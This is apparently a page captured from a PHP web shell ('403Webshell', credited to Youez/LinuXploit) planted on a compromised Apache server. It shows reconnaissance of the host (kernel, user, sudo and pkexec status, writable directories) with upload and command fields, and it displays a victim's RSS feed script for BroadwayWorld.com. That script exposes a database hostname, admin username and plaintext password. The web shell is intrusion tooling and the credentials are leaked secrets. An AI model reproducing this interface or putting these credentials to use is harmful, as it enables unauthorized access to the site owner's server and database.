403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/feed_all_bwayflip.php
<?php
// Replaces: feed_all_bwayflip.cfm
// RSS feed for Flipboard - BroadwayWorld.com Featured Content
require_once __DIR__ . '/db/mysql_bootstrap.php';

/**
 * Clean special characters from text for XML safety.
 * Replaces smart quotes, em dashes, and other problematic characters,
 * then applies htmlspecialchars for proper XML encoding.
 */
function cleanXmlText($text) {
    // Replace smart quotes and special characters
    $text = str_replace(
        ["\x91", "\x92", "\x93", "\x94", "\x96", "\xE2\x80\x98", "\xE2\x80\x99", "\xE2\x80\x9C", "\xE2\x80\x9D", "\xE2\x80\x93", "\xE2\x80\x94", "&nbsp;"],
        ["'",    "'",    "'",    "'",    "-",    "'",              "'",              '"',              '"',              "-",              "--",             ""],
        $text
    );
    return htmlspecialchars($text, ENT_XML1, 'UTF-8');
}

header('Content-Type: text/xml; charset=utf-8');

$dsn = 'mysql:host=amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com;dbname=amazonrds;charset=utf8mb4';
$dbUser = 'admin';
$dbPass = 'xxatN6Lb8Kbwb9MiU1At';

try {
    $pdo = new PDO($dsn, $dbUser, $dbPass, mysqlPdoOptions([
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
        PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
    ]));
} catch (PDOException $e) {
    exit('Database connection failed.');
}

$sql = "SELECT columntable.AuthorName, columntable.Title, columntable.Blurb,
        columntable.DatePosted, columntable.seo_friendly,
        columntable.MainSwapbig AS mainswap, columntable.id AS colid,
        regionstable.regionsid, regions.name, regions.regionurl, mainswaptv
    FROM bway_bww.columntable
    INNER JOIN bway_bww.regionstable ON bway_bww.regionstable.colid = bway_bww.columntable.id
    INNER JOIN bway_bww.regions ON bway_bww.regionstable.regionsid = bway_bww.regions.id
    INNER JOIN bway_bww.columntableimages ON bway_bww.columntable.id = bway_bww.columntableimages.id
    WHERE columntable.status = 1 AND regionstable.regionsid = 1
    AND columntable.id > 2281154
    AND regionstable.colid > 2281154
    AND columntableimages.id > 2281154
    GROUP BY columntable.seo_friendly
    ORDER BY columntable.id DESC
    LIMIT 0, 25";

$stmt = $pdo->prepare($sql);
$stmt->execute();
$rows = $stmt->fetchAll();

$now = new DateTime('now', new DateTimeZone('America/New_York'));
$copyrightDate = $now->format('Y-m-d');

echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
?>
<rss version="2.0"
  xmlns:dc="http://purl.org/dc/elements/1.1/"
  xmlns:content="http://purl.org/rss/1.0/modules/content/"
  xmlns:admin="http://webns.net/mvcb/"
  xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<channel>
    <title>BroadwayWorld.com Featured Content</title>
    <link></link>
    <description>Latest BroadwayWorld.com News, Reviews, and More...</description>
    <language>en-us</language>
    <copyright>Copyright <?php echo $copyrightDate; ?> BroadwayWorld.com</copyright>
    <ttl>10</ttl>
    <image>
    <title>BroadwayWorld.com Featured Content</title>
    <url>https://nav.bwwstatic.com/2014/images/newbroadwayworld-logo-trans6-265-compressed.png</url>
    <link></link>
    </image>
<?php if (!empty($rows)): ?>
<?php foreach ($rows as $row):
    $datePosted = new DateTime($row['DatePosted']);
    $pubDate = $datePosted->format('D, d M Y H:i:s') . ' EST';
    $title = cleanXmlText($row['Title']);
    $description = cleanXmlText($row['Blurb']);
    $author = cleanXmlText($row['AuthorName']);
    $seoFriendly = htmlspecialchars($row['seo_friendly'], ENT_XML1, 'UTF-8');
    $regionUrl = htmlspecialchars($row['regionurl'], ENT_XML1, 'UTF-8');
    $mainswaptv = htmlspecialchars($row['mainswaptv'], ENT_XML1, 'UTF-8');
    $link = 'https://' . $regionUrl . '/article/' . $seoFriendly;
?>
    <item>
	<title><?php echo $title; ?></title>
<description><?php echo $description; ?></description>
<dc:creator><?php echo $author; ?></dc:creator>
<link><?php echo $link; ?></link>
<enclosure url="<?php echo $mainswaptv; ?>" width="1250" height="625" type="image/jpeg" />
<guid isPermaLink="true"><?php echo $link; ?></guid>
    	<pubDate><?php echo $pubDate; ?></pubDate>
    </item>
<?php endforeach; ?>
<?php endif; ?>
</channel>
</rss>

Youez - 2016 - github.com/yon3zu
LinuXploit